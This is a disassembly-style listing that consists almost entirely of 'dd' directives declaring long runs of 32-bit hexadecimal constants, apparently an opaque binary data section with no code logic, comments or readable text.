38968100h dd 0BA942A2Ch, 1B2B01BBh, 0B42795AAh, 11083022h, 8163491h dd 869F58CCh, 6D98D351h, 96051EFCh, 0E35C0642h, 35E87292h dd 259CEB9Ch, 75C0E2E0h, 0AB813D03h, 9032F435h, 0BCB2587Ch dd 5042C4FCh, 37422F4h, 6A8DCC4Ah, 58E1E4EBh, 963C3007h dd 0CDA5AD00h, 714655C1h, 0F837046Eh, 0F41025B2h, 0D55BE14Ch dd 214D5020h, 0F078F92Fh, 0A010BB89h, 30089C0h, 0B24757CDh dd 586E79DCh, 0AC004785h, 539E5056h, 0CE5A37B5h, 92DA900Bh dd 5F40E118h, 0C81C6610h, 3E0027B8h, 23329A7Dh, 0BCCD7BE8h dd 0B6580BF8h, 0FA333C18h, 6E2CA095h, 0AFB0F2h, 18C761ABh dd 0BD87FEBBh, 4E61C4BCh, 9AD9E801h, 0B1D1FF4h, 24D2C07Ch dd 333C7C00h, 0E9004C4Bh, 870EA62Dh, 7DAB306Dh, 0B9FE0014h dd 0A4367CC9h, 0E5777DF6h, 0C6077FE6h, 80BFD8B3h, 604B583Ch dd 2FA60808h, 0BB385D8Bh, 0F1F40057h, 0BDE9E41Eh, 57000E5h dd 0B0CB5C15h, 0E001018Ah, 0BBD3DBD7h, 498EA30Ah, 0B2A37A9Bh dd 10030644h, 30D75C71h, 0D2BBDBA6h, 603884AAh, 9DEC4140h dd 3D0C8773h, 0C94D4E67h, 95930B26h, 8380B9C7h, 6B198322h dd 9D36003h, 81B3FFB8h, 0E9C80821h, 0ABAD0CF5h, 7C683FBCh dd 5AF14700h, 4BEBC138h, 501D034Fh, 4C5E49B3h, 0CFA6991Ch dd 70C12C9Dh, 0BB4EB141h, 633D40FEh, 944F021Eh, 17517948h dd 6E2578AFh, 0C750004Ch, 1570B21Eh, 4AE4B100h, 4F638DBBh dd 0A7892CB8h, 443F035Ch, 0E2B062BEh, 3C3008D7h, 96E8A085h dd 89D36523h, 4B9020ABh, 5800DE1Ch, 0BE0DF84Ch, 2BECE5h dd 0B364C716h, 72CC4602h, 0E9D08931h, 0BC5C07BBh, 5182451Dh dd 0FCC9EB14h, 0A96727D2h, 77002329h, 12059EDh, 4C31F8C6h dd 0D0ADF45Fh, 1C006449h, 9FFFD325h, 48D74E7Dh, 0BC0030C7h dd 5FDE84CDh, 0D90FA32Dh, 1FB29F08h, 4CD83086h, 0CEAB3040h dd 698EE199h, 0FB76E00h, 23771D1Eh, 0B1D3157Ah, 3C16809Ch dd 0D5CE0011h, 0E376494Ah, 0C1147A00h, 412F4868h, 8C60309h dd 8AC4B923h, 0AAC186D3h, 0E09450D1h, 5C00F29Dh, 0D2B8FCCDh dd 4CC4E34Fh, 2063ADAAh, 697FA0B1h, 17AC4000h, 15B69B80h dd 43263910h, 0DC9C4D8Ah, 0AED486C0h, 1C0D3186h, 0C9E14669h dd 1525E0h, 0D4888494h, 740BBB01h, 0A116091h, 7D8F2E3Bh dd 98C08124h, 0B067DF0Eh, 5B5A7F02h, 84D4728Ch, 0D0884CA4h dd 774DB81Bh, 577324h, 1CDC8FEBh, 9790480Fh, 2D265F03h dd 0B4B28h, 0CE496361h, 6D450AA4h, 908A6200h, 0E15F9EAEh dd 87710A79h, 84BC3E7Eh, 885D691Bh, 0BC91E658h, 0A58C14A9h dd 7CC315Ch, 0BBDC9FF8h, 20DD6612h, 3D98C601h, 0B1570AB8h dd 7EC8C48h, 3A8A19FBh, 832F75E5h, 0A1006135h, 0CADDFF01h dd 0F46D86Ch, 164A5CC5h, 76540981h, 4D4080A5h, 2B173A5Eh dd 1F260774h, 0DF6242A8h, 0CCC2EB60h, 34E92566h, 41678718h dd 0A796B1A1h, 0F6393840h dd 0B5D43A0Eh, 40AD0E33h, 3F6516A0h, 7301CB6Fh, 0AFA9F1F7h dd 99920EF4h, 59430ABh, 0BD009498h, 0B15F9C31h, 5884C68Ah dd 0C401560Fh, 0AAC327B0h, 0BB79858Ch, 0F4227C15h, 53DD2072h dd 0AB7CD6B3h, 0F1FB8803h, 0D0B64794h, 3503E2F2h, 4715A49h dd 230B29F0h, 0F71900CFh, 0B361F062h, 1D0D609Ch, 919FEB04h dd 108CCC02h, 9900C4A8h, 7967C149h, 94C7F33h, 28234678h dd 10BAB819h, 0EB3E3Dh, 850D9369h, 0B70E7D73h, 230F1EFCh dd 0BBAE2DA2h, 136D8099h, 0B1D900A1h, 96498953h, 511209D0h dd 50406A48h, 320BD858h, 910892C3h, 28768050h, 576D7BEEh dd 73C73D07h, 8AB0AA0Eh, 3EF14FFh, 0DA176F5Dh, 40F5262Ch dd 5B8260A0h, 7EEA49DFh, 0BB07CD00h, 410AE6D0h, 420B14DEh dd 0C59090AAh, 6F736D00h, 547BE0C8h, 14900E7Ah, 51ACBF30h dd 0C0E78B71h, 0AF514891h, 0F804CDC6h, 79E50667h, 0D748D9h dd 0E4D78629h, 35AADEEBh, 4901FCE6h, 563A58ADh, 9C304AF3h dd 8430A1AEh, 0D1782019h, 42C25000h, 0AB875FACh, 3D21C0D2h dd 409DE626h, 75C55E00h, 0FEAF946h, 0E8AE40B1h, 0CE096000h dd 8857EDE3h, 107300BAh, 0E7BF41ADh, 3A1A6459h, 8271444Dh dd 1A7E998h, 514FF496h, 50BBABC8h, 0C1CB6790h, 0FC19C701h dd 0DD69A3E7h, 0D46D60C6h, 0E2FA019Ah, 0E0D66C81h, 66A03028h dd 50893E61h, 460822Fh, 704C887Dh, 2A1C2C00h, 6C164528h dd 156D01A9h, 7257F57Ah, 7B55E863h, 0D724A8A6h, 443FFC91h dd 7C752CB6h, 0B747000Bh, 414F7911h, 98D5BB00h, 0C7D5804h dd 67970464h, 0C24850E9h, 58E8865Ch, 0D00006C1h, 7C1FB8C8h dd 9098474Eh, 309C8443h, 0B6A99518h, 81006E5Ah, 32A0830Ah dd 0A51A5F2h, 0E6684B22h, 4887479Ch, 0A1DD188Ch, 7EA400D4h dd 31938499h, 690A6A9Bh, 0ACD82FAFh, 94AE7886h, 0C9EA0139h dd 0DDA051BEh, 3C64F28Ch, 78BAF00h, 0CD6F632Ch, 303701ACh dd 792F28BCh, 13B1D0BFh, 0E1785800h, 0D5176A67h, 980917FCh dd 710ECF0h, 3A4E47Fh, 40394162h, 186A7556h, 3140DE77h dd 3807E878h, 623E0A32h, 0CC3B1D30h, 5DAD00DAh, 0EE94522Ch dd 1A20C858h, 837500C1h, 8A0CF29Bh, 6A007456h, 97340470h dd 588B87FAh, 0C8335AFFh, 7382EA68h, 0EEB56920h, 0ABF11864h dd 98CA4818h, 0D0223A00h, 45C907Eh, 1A741889h, 0AC3D69C0h dd 24827200h, 0DEB88A37h, 9ACE0056h, 6F41C207h, 0E3009899h dd 0DB62CA72h, 6EDDA317h, 7FC7786Ah, 9B91105Bh, 663FD318h dd 191D80DAh, 3D08A5Ah, 54EFE241h, 20E088B0h, 73007610h dd 35885C53h, 40DD4Fh, 0F8D7BDA2h, 9438E1B9h, 9124400h dd 0BB7BBF7Dh, 71C96E80h, 0EC11FA80h, 0E611AE2h, 7E98BBE1h dd 0FD6E218Eh, 0F8CAD959h, 18180DEFh, 0C820C7FEh, 917B0F32h dd 87FE29B4h, 0CC5EE640h, 0EC601949h, 0E11F4D29h, 0CE790021h dd 3C823107h, 8B0E03F8h, 15199634h, 67C600BCh, 0DBA480BCh dd 988F016Ch, 9D4B5E18h, 0F80436Eh, 9CEA4090h, 75547788h dd 56E030E6h, 52F2F7B1h, 986D2900h, 6EE3FB26h, 5ACB00DCh dd 0E1594434h, 8305D0B4h, 6CBB7E86h, 78E0BC21h, 682F850h dd 70070035h, 0B8FF0DCCh, 0E35414B9h, 0AAA26494h, 20198825h dd 0CF72284h, 9EE9A700h, 405ACD2h, 78D0006Eh, 773B3149h dd 9307851Bh, 3692F36Bh, 0BA94A630h, 0B47F5282h, 0C6FFF11h dd 1981DD66h, 719F0069h, 76AFC3B3h, 0EC745840h, 0D9411124h dd 0B700B021h, 31202B67h, 4FF6008Ah, 0C442C1FBh, 56038E4Eh dd 1CA70213h, 1D6100BBh, 7A212CBCh, 0CD00AB8Bh, 5D4A1650h dd 18C5700Dh, 59EA1893h, 0E600141Fh, 25EAB44h, 0D20BF7h dd 0C6B40968h, 0EA46F09Bh, 6BCFD502h, 443C40CAh, 0DC0F0EA0h dd 644274FCh, 989183FAh, 9A218008h, 8C5289ABh, 0F0E5E058h dd 9B611373h, 545B00B0h, 84F85777h, 0C6CA39C4h, 119CC6BBh dd 0A9EA2B00h, 0AE14AB3Dh, 123A72D3h, 40199257h, 496D6A3Ch dd 53052D1Dh, 81BB7C0Ch, 0C06EF420h, 7449D4D2h, 0B500C622h dd 0F0C42691h, 3C154DF5h, 672E6A7h, 0E0B3A36Eh, 7E00296Dh dd 0D321A4AAh, 774FD56h, 6B1F8384h, 3D9D9079h, 689964E1h dd 36D81200h, 15AB53h, 41DF5CC0h, 0EA71B103h, 0B54BF318h dd 91EE4028h, 72E00C24h, 4F005C69h, 0E4F00E44h, 67F5EAD1h dd 81955971h, 0F472A975h, 4161DEECh, 1AA85B19h, 0EC44BE4h dd 7DDF816Fh, 8419D460h, 8D07AC69h, 6EFE337Ch, 407E9170h dd 9D8A439h, 364297FBh, 0A028C413h, 0D00A387Fh, 0A07A62E0h dd 808CF288h, 97A63BCAh, 0CC995D8Eh, 0C22D1180h, 0ED7EDBh dd 0DA358141h, 68669275h, 94A78407h, 0FE1257B6h, 0A1D8AFA9h dd 0BD1A7F6Bh, 3553598Eh, 0AF8ECFA0h, 410F7647h, 0E9CAE58Bh dd 837C91C6h, 0B3AF9450h, 5D5B00C5h, 0CDCE9E24h, 1000EA30h dd 31765299h, 0F5FC114h, 4DF4A7EDh, 6E393640h, 86EC9A4Eh dd 0FEA95B13h, 60E1600Ah, 0FDF07401h, 73FC220Ch, 9057072Eh dd 71FC6B98h, 0DB74DF17h, 481A2824h, 87B5BF40h, 61B700FFh dd 66C9C180h, 0F372FCBBh, 0C044BC90h, 0EDD001AEh, 0FFB86A15h dd 351F083h, 8FA1EC07h, 0DD442570h, 23E8C8h, 0A3E0200Dh dd 0C756535Dh, 55DF0600h, 0B1EB5ECCh, 88FA1F3Eh, 0BBEE0978h dd 14D1100Eh, 8FEC3740h, 0B7EE0410h, 0E04894D0h, 0DAF9887Fh dd 0BBE9A900h, 0E179BA15h, 4C41C043h, 9D229B9Eh, 0C791510Fh dd 74EEAB20h, 0B6E1205h, 5818023Ch, 21004FA1h, 0B0FB80A0h dd 45DC2A8h, 1BAC966Bh, 0BB2890C6h, 31C27A6Ah, 6462FE6Eh dd 54054408h, 0C4C78A02h, 0C02284DFh, 0E6FACFh, 0F070010Ch dd 35593325h, 2183BA15h, 1CB50C90h, 1B949B4h, 1AB85EE4h dd 700649C8h, 0A7580588h, 9FE10A58h, 0BCE0D86Eh, 221E9Eh dd 987BE018h, 0E50D7D23h, 0DAAE280h, 0B149EAD2h, 0C17F6039h dd 0BC1ADA18h, 0BE6841h, 193CF5Eh, 8F8459BDh, 4CA4370Eh dd 0B0E9F8DDh, 76F80040h, 85C7580Ch, 0A4000942h, 80CFC593h dd 0B8E13002h, 0BBF8A03Eh, 73C33083h, 2648F4D9h, 0EA46B828h dd 1FBCE149h, 66404ED5h, 0D2C6AA4Ah, 9868E8C4h, 0E9FE2C04h dd 1F242404h, 0A090A0B8h, 2B3FB22h, 6D349594h, 48430DD9h dd 4091882h, 0E6217F8Ch, 5069106Fh, 0EF7040C7h, 0D8B42A29h dd 0B56B6741h, 2220F4h, 0F397EA68h, 6401858Eh, 93BCB81Eh dd 0DD63C405h, 0F3C124C8h, 0A8CCCh, 0A29A5C73h, 0D4FA0B1Dh dd 4ED17000h, 0B6486C44h, 16509849h, 2A5FFC0h, 0B54347D4h dd 70FB4860h, 0C0621A81h, 8BEFA500h, 3F6D7439h, 97EEBC0Bh dd 0C9708856h, 0FDD9E43Dh, 0E600388Bh, 0DEA15F27h, 0A800239Fh dd 4FB2F721h, 1D4163D6h, 9094D7Fh, 0CCA1FF3Ch, 2972ECEAh dd 0BF351D08h, 3ABA95C0h, 9BDF5DCh, 0C9E6A9C7h, 407BC884h dd 0C17A1FC2h, 0DD091767h, 41342287h, 0FCDFAB20h, 19C7914h dd 0D17484E5h, 0E0181DF0h, 631F5A21h, 0E864E720h, 74EA4438h dd 83CC9946h, 0CA7FBF6Bh, 8E9627A1h, 439C3690h, 0B094A942h dd 34406A77h, 82C9FD38h, 8EC0F404h, 0D07A9399h, 0C91AE513h dd 5166184Ch, 71076019h, 0DD10581Ch, 1FF53100h, 63D2FCB1h dd 601E0CEFh, 3361356Fh, 0D84394A6h, 477A516h, 232B3534h dd 95D1F099h, 0A4550028h, 0EA2A82CCh, 447C50ACh, 7F4F6B01h dd 43C58B69h, 0C058DDD0h, 0BC9870F1h, 0D4001CB3h, 9E6CAF55h dd 3C30332h, 0D8FC694Fh dd 8022BD90h, 0EF402E78h, 37796148h, 806C4018h, 9C003811h dd 486DB4Ah, 0EA3A8272h, 285671BEh, 48F0CBEEh, 1B801818h dd 0C3E43A12h, 9D439F03h, 0F879F585h, 28F6DC97h, 2AC3D2Ch dd 92DA275Eh, 0A86678C7h, 340EA67Ah, 4064892Ah, 757DD3E4h dd 68FD2626h, 692860F8h, 640F741Ch, 60039C92h, 365DABAAh dd 32050EC6h, 47307DFh, 48719B68h, 0D97A80D3h, 542E686Ch dd 9CC3572Eh, 0E495BB43h, 887A3C88h, 4000ECEEh, 537889E8h dd 90369A74h, 0E86E5568h, 0A05A55C4h, 90626880h, 98BBEE16h dd 1150C34h, 65494CDFh, 0F77AC900h, 0A8FA7030h, 0A5AF0069h dd 9737DD62h, 0D100D408h, 27E783B9h, 0C7C1EA3h, 7EF407CAh dd 85043041h, 0D14AF7D3h, 0EA6FF490h, 6A4220F2h, 100050B3h dd 51A29607h, 0F18C0061h, 56932BE7h, 0F92564F0h, 0E938A4FEh dd 82D80143h, 0BA881E90h, 660FC6EAh, 0A24D55C5h, 0E018708Ah dd 3E2F0F8h, 3AB9F534h, 0B4DA92D3h, 67A0A068h, 0FC560A00h dd 61BD948Ah, 0E4637F0Fh, 0AE1928E2h, 391D26ABh, 0F3A86094h dd 6426F432h, 576EA4F5h, 2468F710h, 5D7894F0h, 0F565140Bh dd 6C84DCD1h, 1AE441C9h, 9430FBB7h, 98F1FC6Dh, 13FFE53Ch dd 5D7BAF21h, 3DCFC27Bh, 54C4F557h, 1381950h, 21A18200h dd 2E6DD791h, 95C80508h, 0CC51F7F1h, 0B03D6250h, 0DA25024Bh dd 60426AA2h, 3AFED42h, 73DCAA1Fh, 3BDAC575h, 34988C44h dd 0DD482873h, 61009334h, 0B7C609AEh, 1DBF42Ch, 9228D119h dd 6044EE95h, 0BF8985A4h, 0EDE8C0h, 0B24ACE7Fh, 2AFCF283h dd 35425B07h, 1BB0DD65h, 2507D128h, 80187AFFh, 261443AEh dd 42DC66E7h, 88C600FCh, 4DF72DECh, 0FC790110h, 93C5090Ah dd 0D5A187DEh, 4170F0B7h, 4C015B2Bh, 4E07E8E3h, 8059EB38h dd 453691A8h, 0AF6AB101h, 9E94551Bh, 12C3AC42h, 87468C1h dd 0EF7044C0h, 0C4C6D72Ch, 0BB813208h, 0A6269B0Ah, 0FF360480h dd 3378F4DEh, 3001CD1Fh, 0C88B4941h, 63F03EC4h, 8656079h dd 2C98CA7Dh, 46F01F00h, 0C65D3BE4h, 0D1830CA9h, 0FE8157E0h dd 0DE25E8F7h, 6637101Dh, 861FB000h, 0E8998E22h, 0E259EE46h dd 0B6D60054h, 186CA9B1h, 0E0A4836Ah, 0A0FDFF24h, 0A4FEA44h dd 0BDCE8521h, 0CA23F047h, 0AF2A801Ch, 1863EC2h, 92E4515Ah dd 6B782154h, 2308617Fh, 82DF13BCh, 0C4885853h, 41F603E9h dd 8A8E7634h, 83A814E0h, 0A7DFB407h, 3FD0EC18h, 24939582h dd 6018DC6Bh, 0B06C2258h, 0BE9EE300h, 0C5F75AFBh, 99DF00DCh dd 7BCB98E2h, 0D008BDABh, 157125DDh, 0A71D3CE3h, 8FF7804Ah dd 0CA2094A5h, 0D14EC600h, 0E3D3619Eh, 98F4B836h, 0CAC488ACh dd 21B2013Bh, 92E5A605h, 219C2C6Ah, 0A80F04F0h, 3BC4C81Ch dd 0CA128401h, 6B11D5Eh, 0CCD848BAh, 58A06B25h, 982F286Eh dd 0D0293502h, 4A803EE0h, 0F6ED6F4h, 981274F4h, 2E00FB58h dd 7B99290Ch, 6D1C45Dh, 0CE1D9524h, 0CA048816h, 0BDFD5125h dd 6DBEB881h, 0F8002C63h, 0A03F2C11h, 0F005632h, 0B2F5354Dh dd 5BA755Ch, 904452Fh, 0F0DC04CDh, 0E4EA44CEh, 136B88Ch dd 1AF4560Eh, 0F2933CAAh, 2C04948Bh, 90E04BEAh, 47FCF4h dd 7D72645Ch, 961A8E27h, 0A10099E8h, 9C61620Eh, 1475CC8Ch dd 88B4F103h, 0E9886574h, 670483C2h, 66F38011h, 5A986E3Fh dd 72F599C6h, 0D2286988h, 7C00308h, 9CE56501h, 0D9FADC8Ch dd 0B4C85513h, 0A3ACC410h, 91E3A8FCh, 57A01D4h, 79C5F8CBh dd 0C484FA6Ch, 20B92266h, 87EC4D23h, 0D7FB2201h, 0DDE016E9h dd 881180A5h, 0C3D2C088h, 0B0EBB50Fh, 6140BE16h, 0E9FD06A4h dd 10734C08h, 22689328h, 0F1F87B47h, 97AC164Ch, 7608EC05h dd 0C67BA0C1h, 26B45Ch, 0F878D5Dh, 0FC42D985h, 216DB225h dd 60E49808h, 4CA2CCC3h, 89014022h, 0BCEEDBD0h, 98E8F836h dd 247D0230h, 0DF10BB92h, 0FC2935C2h, 5F0070E4h, 0DE018271h dd 0AD115FFh, 0B71C918Dh, 0F999808Ch, 9F250290h, 0BA28F100h dd 368BB4FCh, 60A7170Fh, 0C0306435h, 9A865260h, 1EEE2B03h dd 0E941893h, 78B077E1h, 85C889FCh, 0EB50F487h, 60E450AAh dd 385DD749h, 7A00B1EEh, 57B9947Fh, 252FB27Ch, 7C055988h dd 4564D769h, 82E8D0EDh, 1C26A6B6h, 398078FFh, 0D0A9470Eh dd 0F61F00A1h, 0BD0DF91Eh, 0CC3EAEC3h, 74E7265Dh, 258493Ah dd 0FE6516C0h, 95CA208Bh, 740002E0h, 49F3AC7Eh, 17B4A962h dd 225B97BAh, 42207BBCh, 90779D3h, 0D18B4623h, 0F5155418h dd 0C882B02h, 0E189FEE8h, 0BAD56E50h, 9B2C3450h, 0ADA700EDh dd 38207FF4h, 78186E7Dh, 70612DF1h, 0DB6217D1h, 3F680765h dd 28448B93h, 74E1E700h, 0C76B5301h, 7EF32207h, 8B0F2D5Bh dd 0EE8220ABh, 30C898F0h, 8C08E283h, 0AE00DBC1h, 39C94A29h dd 7845BD59h, 1A2600AAh, 0E60558C4h, 0F3067675h, 0E867D898h dd 88900A39h, 11288B5Eh, 59C900FFh, 34609B72h, 1E8200A7h dd 902A66E0h, 31C0D9E6h, 345FDA3Eh, 41B20074h, 0C8E0E80Ah dd 0B33C28DDh, 2B00F292h, 9D878893h, 61C907E3h, 8269388Ch dd 7C6980FEh, 0BB132530h, 11AB0021h, 496A3BD8h, 0DF1898F8h dd 0E329FC66h, 79D76F01h, 0F0B16E8Dh, 0D87897A5h, 4F68FB50h dd 350B6300h, 1C786A21h, 0F95C3088h, 8B7FE531h, 0E70C28DEh dd 0D651D0h, 0FA5B72D1h, 951C4AC0h, 9E3770Ch, 186821DCh dd 399F7FFCh, 7D3C8F89h, 78C18091h, 2BC087B5h, 4A610B0Fh dd 0DC079E84h, 0DF8BC0C8h, 39D0BE09h, 0B228409Ch, 0C67C4400h dd 4FB849D4h, 3FF800CCh, 91A28F88h, 0FB641654h, 9223EF0h dd 70200C11h, 9008A077h, 18F478D1h, 31D8E691h, 0D712FD86h dd 0F000408Ah, 0CD4E4DA1h, 0B7C8320Bh, 0CC200A88h, 679BB5A4h dd 0ECF111CAh, 0AD001759h, 5509768Eh, 2971E03h, 0CDC9C41Ch dd 0A092BD19h, 9366800h, 0D100FC15h, 13569EBBh, 7F7D5Eh dd 0D6430E82h, 0C9702B19h, 0A883201h, 2878774Ch, 612A6D20h dd 46A3F893h, 90D84653h, 0E766D818h, 0C08919E1h, 3A1C5671h dd 9E0ED721h, 0E0454D72h, 0C497ABFCh, 0DD0538A2h, 8E198B8Ch dd 5A005231h, 2ED77633h, 0F7EFEh, 63E82126h, 357FC611h dd 0EBE8667Bh, 0F165D814h, 3E0095B0h, 212CC808h, 0DFE60CEFh dd 0D000E5F1h, 254F3BA0h, 1EB63B9h, 0DDDE5064h, 2318E37Ah dd 44833A74h, 0F31E00AEh, 0D6A933D9h, 0D574952Bh, 0BA705254h dd 0B90A5E07h, 0C51054CAh, 98CC4D6Ch, 2A8D06A8h, 81DEE608h dd 39D51207h, 8690115Ah, 920CDB5h, 82509C02h, 0E17F0890h dd 91FE6300h, 0CFD0F76Dh, 9F120131h, 0A23B8123h, 0FC90C2E3h dd 0CA98B0C1h, 0B1E25C33h, 8001AA2Ch, 782AC164h, 72CD007Ah dd 0F2FBD57Fh, 0C50081C2h, 0C958777Eh, 636074E5h, 0D1E750CBh dd 0C4C5901h, 79D2AB52h, 26CDF8D4h, 440B360h, 109FB16Eh dd 31243198h, 818FE5F1h, 0A380616Dh, 0CF257B77h, 0C071B798h dd 0E63073E8h, 21B31D3h, 79381D06h, 0C7B8806Fh, 25C077A1h dd 0BF987350h, 4788C4Ch, 877DFCC6h, 4839E014h, 78907450h dd 18EF621Ch, 7421CA54h, 28201877h, 71C31E3h, 2265DF71h dd 70CE4Ch, 2A18B294h, 66F20030h, 0DDAB62B9h, 0A6608265h dd 4A8805E9h, 8361C9FAh, 0F0556C91h, 5F007143h, 4ECFC325h dd 126E7901h, 0CD42F3h, 0A9F0414h, 9000F71Eh, 547FFDA8h dd 60E7E4A4h, 22DE99D2h, 393C698Fh, 1AF105E8h, 5408C082h dd 862C878Eh, 3E54202Fh dd 63731F7Eh, 75072377h, 6643D37Bh, 83E30CD0h, 7A6F31DFh dd 808F19B9h, 0D3121E41h, 0E0B2C3Ch, 8D039B61h, 87910522h dd 0A4004DC2h, 5589FAFBh, 9026FE42h, 4C91038Ch, 2198DFA0h dd 0FC7D0A7Eh, 94599E60h, 0A1F7245Ch, 4908E6CCh, 0BEA9ED3Eh dd 8B4B11EEh, 0A280284Ch, 25F41E90h, 2E319C06h, 26B178FCh dd 247FF0h, 0A688B93h, 0C600D401h, 0C4D19806h, 92F2182Ah dd 25E7306Ch, 0F8A01159h, 1FBCA800h, 6CD0745h, 4ACA0043h dd 0AF25DBFCh, 3F67B00Ch, 2C4090A9h, 60F294FFh, 7F73997Ch dd 822AD540h, 7700BCE6h, 22BCDD70h, 30F057h, 0E35F6014h dd 5B292EE5h, 53B55A18h, 3F677848h, 6800370Bh, 4EC490Dh dd 0D5F8DE2Ah, 34182B24h, 0B1F52040h, 0FA9F00F8h, 64BAA1D7h dd 580C962Ah, 79FC82D0h, 0BF030039h, 9E4E5CA8h, 8600F653h dd 1C91C4F0h, 58E3EEFCh, 0DF847C03h, 57CC860h, 2F7E0A9h dd 0F58323C0h, 34212101h, 5E93F42Ah, 7400D031h, 30BEED90h dd 0D711F982h, 0FB006D94h, 99D0FD14h, 5C3C7E26h, 21360092h dd 4E3BE879h, 0C084C83Fh, 4C5158B2h, 724000D0h, 0E579AA6Ch dd 7E01A931h, 9FF01752h, 0F46263DFh, 2004E313h, 0F333C560h dd 0B31919C5h, 65519840h, 0F90B50h, 6AA04162h, 214B28Dh dd 0B0322A00h, 0D4A1BAAh, 4980E3D6h, 975F70CCh, 0A6F97AF2h dd 8804AC50h, 3B1E8A53h, 3ECC7F24h, 27E63912h, 4D5B80C0h dd 0FD28B154h, 0A00B82EDh, 99DE1EE3h, 62086320h, 39B84A00h dd 0E23B6A3Dh, 0CC64A118h, 2F88F842h, 0F49C01Ch, 1DACA03Ah dd 8E9F0D16h, 46B6B70Fh, 29801Bh, 7064CAA9h, 0E37BBA8Dh dd 81DC0A4Ch, 9BA02A61h, 9176FCFCh, 71F19BB8h, 0E57012C0h dd 0E8494E26h, 19F8313Eh, 0FC806457h, 4033D672h, 5B012413h dd 0B6E66C6h, 0F420C543h, 188A4256h, 97796348h, 0F5A02CF1h dd 0CB184324h, 0DF847114h, 0F7D7C0D0h, 34DA783h, 0F9CBD26Dh dd 60C83A22h, 5B001744h, 0E00BED1Eh, 5482697Fh, 134F0F8h dd 0AC575F0Ch, 31384FFCh, 6880DE08h, 5C7E9174h, 5405F804h dd 0D8C8828Ah, 0DB9C0158h, 6EF475CDh, 248802Ch, 94B1AECAh dd 787D051Fh, 5C829Dh, 0D38F35D4h, 2F1E4FAFh, 8E0FA066h dd 0F67D00D2h, 38D101CAh, 0B7006179h, 200EDD0Dh, 19002E5Dh dd 0B0246997h, 0C66514B8h, 85F1838h, 78062F71h, 0BBDB7D7Ch dd 89550C40h, 0BA602EC7h, 0E65DE400h, 7BD0EE1Ah, 0EDC73D8h dd 373F4B08h, 596A6326h, 60224D42h, 0F3E9ED01h, 0FE8A088Dh dd 3AB051B9h, 0D3D402B9h, 3EB4DE03h, 0D0159510h, 60E82F0Fh dd 3D8F2064h, 0E8C036AFh, 7BC6F006h, 10F200C2h, 3B68AA1Eh dd 0E61C244Eh, 0C50CCD23h, 32F39B0h, 0F4D55EC0h, 0E6301C3h dd 5B1819h, 9760AB21h, 0AAC911C5h, 0E6D57300h, 990ABC3Ah dd 5F5D06FEh, 0A94350AFh, 39561830h, 517EAD9h, 39DFBDFAh dd 0FC0FFA7h, 60256EEh, 8A522E10h, 141CE9E2h, 3FC054FBh dd 645C1165h, 0A1FF09F8h, 2014EB3h, 0E4FD6952h, 9CA8702Fh dd 0B861D83Eh, 4154AFF1h, 20584042h, 301495B0h, 89005DF8h dd 0DDA97D0h, 32D5940h, 0CFA94D60h, 31FE17D4h, 49121007h dd 32704B9Dh, 187465A5h, 215CB5C5h, 38492C57h, 8F950124h dd 304DAFCAh, 0CC27798Eh, 0E420680Fh, 82A75761h, 8697F106h dd 0A9AC3Ch, 0A47E8C04h, 58CEDAB3h, 6B0AC673h, 84CA8A22h dd 0D95D1980h, 1E177AA6h, 47CFDF4Ch, 86A3486Dh, 0E8008959h dd 8A1EC057h, 0B2B760h, 0F9DD907Eh, 0BCC58CD9h, 0C6298960h dd 6CE0F21h, 17E47A9Fh, 8001957h, 74B3699Dh, 0DCB88h, 3C5B89E2h dd 269734A4h, 28A13D30h, 0FB7FA66h, 0EC64FD18h, 2C88C6C7h dd 31006CA9h, 0BD1C725Fh, 0E541A3h, 978EDFF9h, 0A4BF75E3h dd 6C78D03h, 80C42949h, 2EDFED7Ch, 1B709DC5h, 45ACA801h dd 9040B13Dh, 0D19DF0E7h, 7286002Bh, 3B41A8F9h, 4900CA5Bh dd 802DE4F8h, 1CEEABBh, 5FBF8ED4h, 70C418F0h, 0C6603627h dd 29C3FE70h, 0DA2A07CDh, 363DCAE5h, 9C0C61A1h, 7963B3C5h dd 8D2A036Ah, 0DB2B5732h, 0B2CCD91Eh, 0B3444CA8h, 0AAA300ABh dd 5C8B8F6Bh, 8C074392h, 1E26D303h, 55FE0A80h, 0B09F01BAh dd 2134B996h, 29C4F01Ah, 0C63A8D01h, 5A18242Bh, 5EC25980h dd 757845FBh, 3B0F6803h, 128F91D9h, 2017E2B0h, 24FB9BCh dd 5C423607h, 32972E14h, 38C27694h, 737820D0h, 3C0269B4h dd 5D2E4D6h, 0B7848243h, 24AF43F0h, 67F460F0h, 4288A8E7h dd 0A7230066h, 0E13CBE1Eh, 8AD33Dh, 97C8CF1Ah, 0FC1CB629h dd 0F9E04F1h, 0C8B23C8Fh, 0D6001D30h, 0E9CAA3D1h, 7AB69B6h dd 0EC2C009h, 0A01BE772h, 0C5021911h, 81C98AFEh, 0FDBC81C6h dd 499DB03Ch, 0CB6E0013h, 284F2344h, 270D4C12h, 951B8800h dd 387801CCh, 0B409663Fh, 3A0E24AFh, 972E7080h, 0AB603C8Eh dd 0E094F549h, 31DF0171h, 0A2B32A4Fh, 0CB3820F4h, 0E75F5600h dd 138B9743h, 55D61FDDh, 44B0262Ch, 68184037h, 38D37EB4h dd 304CDDB1h, 0B608B321h, 475D443Bh, 1B10E107h, 0D2D5A7h dd 0CB566606h, 96A67E42h, 7A3BAE00h, 0F8DFBB97h, 0BC5964A5h dd 2818C851h, 0E4295629h, 1934B039h, 2F1974h, 7165BF6Dh dd 79DB2A96h, 56809706h, 31D223h, 1CD7E95h, 1C8BB94Bh dd 5708D090h, 72F3728h, 40708042h, 21BF8F06h, 7985081Dh dd 40557CC3h, 1D8EEB02h, 1055619h, 0AFC45F76h, 3E744053h dd 80A4A6DFh, 0BC885074h, 0BAB90EE2h, 0A1005F5Ch, 219C2B94h dd 81DB8D00h, 0E12F3D97h, 0DA261DCAh, 393F9878h, 2800E8FDh dd 0AC29CA8h, 0E45421h, 0C8424D7h, 6D810F29h, 3953B01Ah dd 7E888131h, 0F2CD1EB7h, 2BC52EDCh, 0FCE7AFh, 0C713AA68h dd 0F4000609h, 0B9B5FB76h, 3F43024Bh, 29E03C89h, 34DF40FEh dd 1603D27Ch, 0F1D128BFh, 44CDA255h, 63AF22FCh, 0E88A6E2Ch dd 9A82740h, 0C10C00AAh, 1A47FBACh, 7201A605h, 0E87B615Dh dd 3431E2B7h, 97953440h, 0A520EA27h, 0BE3F80ECh, 228576BAh dd 474CB018h, 0C3921819h, 81B4F679h, 1243D4B8h, 89724C98h dd 9902F890h, 4C6E6560h, 2BE88727h, 0AE269540h, 0B894F0D9h dd 